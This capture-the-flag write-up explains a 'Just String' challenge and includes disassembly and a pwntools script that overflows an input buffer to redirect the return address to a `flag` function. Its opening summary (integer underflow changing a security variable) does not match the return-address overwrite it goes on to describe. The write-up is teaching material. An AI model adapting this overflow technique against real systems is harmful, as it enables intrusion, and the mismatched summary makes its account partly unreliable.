Writeup for Just String

Summary

This code involves the use of an unsigned integer underflow vulnerability to set a variable to a higher than intended value, leading to buffer overflow to modify a security variable.

Details

The provided binary contains a function `flag` that reveals the flag when executed. The goal is to overflow the buffer in the input prompt to overwrite the return address with the address of the `flag` function.

The `objdump` output shows the disassembly of the binary, revealing key functions and their addresses, including the `flag` function:

```
00000000000011bc <flag>:
    11bc:   55                      push   %rbp
    11bd:   48 89 e5                mov    %rsp,%rbp
    11c0:   48 8d 05 61 0e 00 00    lea    0xe61(%rip),%rax        # 2028 <_IO_stdin_used+0x
    11c7:   48 89 c7                mov    %rax,%rdi
    11ca:   b8 00 00 00 00          mov    $0x0,%eax
    11cf:   e8 6c fe ff ff          call   1040 <printf@plt>
    11d4:   90                      nop
    11d5:   5d                      pop    %rbp
    11d6:   c3                      ret
```

Python Script

The provided Python script uses `pwntools` to automate the process of finding the buffer overflow offset and exploiting the binary to call the `flag` function.

```python
from pwn import *

binary = context.binary = ELF("./juststring")

domain = None
port = None

if len(sys.argv) > 2:
    domain = sys.argv[1]
    port = sys.argv[2]

if domain is None:
    p = process(binary.path)
else:
    p = remote(domain, port)
```

```
# Finding the offset
offset = cyclic_find("caae")
payload = flat(
    offset * "A",
    p64(binary.symbols["flag"])
)
p.sendlineafter("Enter your name:", payload)
p.interactive()
```

Steps Explained

1. **Initialization**: Load the ELF binary and set the context architecture.
2. **Remote or Local Execution**: Determine whether to connect to a remote server or run the process locally.
3. **Finding the Offset**: Use `cyclic_find` to determine the exact offset where the buffer overflow occurs.
4. **Constructing the Payload**: Create a payload to fill the buffer up to the overflow point and then overwrite the return address with the address of the `flag` function.
5. **Sending the Payload**: Send the payload to the binary and interact with the process to retrieve the flag.

Detailed Walkthrough

1. **Loading the Binary**:

   ```
   binary = context.binary = ELF("./juststring")
   ```

   This loads the binary and sets the architecture context, ensuring `pwntools` knows the correct binary format.

2. **Determine Execution Mode**:

   ```
   if len(sys.argv) > 2:
       domain = sys.argv[1]
       port = sys.argv[2]

   if domain is None:
       p = process(binary.path)
   else:
       p = remote(domain, port)
   ```

   This checks if a domain and port are provided for remote execution. If not, it runs the binary locally.

3. **Finding the Offset**:

   ```
   offset = cyclic_find("caae")
   ```

The `cyclic_find` function helps determine the offset where the buffer overflow occurs by finding the position of the pattern in the crash dump.

4. **Constructing the Payload**:

```
payload = flat(
    offset * "A",
    p64(binary.symbols["flag"])
)
```

This constructs the payload by padding with 'A's up to the overflow point and then placing the address of the `flag` function.

5. **Sending the Payload**:

```
p.sendlineafter("Enter your name:", payload)
p.interactive()
```

This sends the payload to the binary after the prompt and then interacts with the process to retrieve the flag.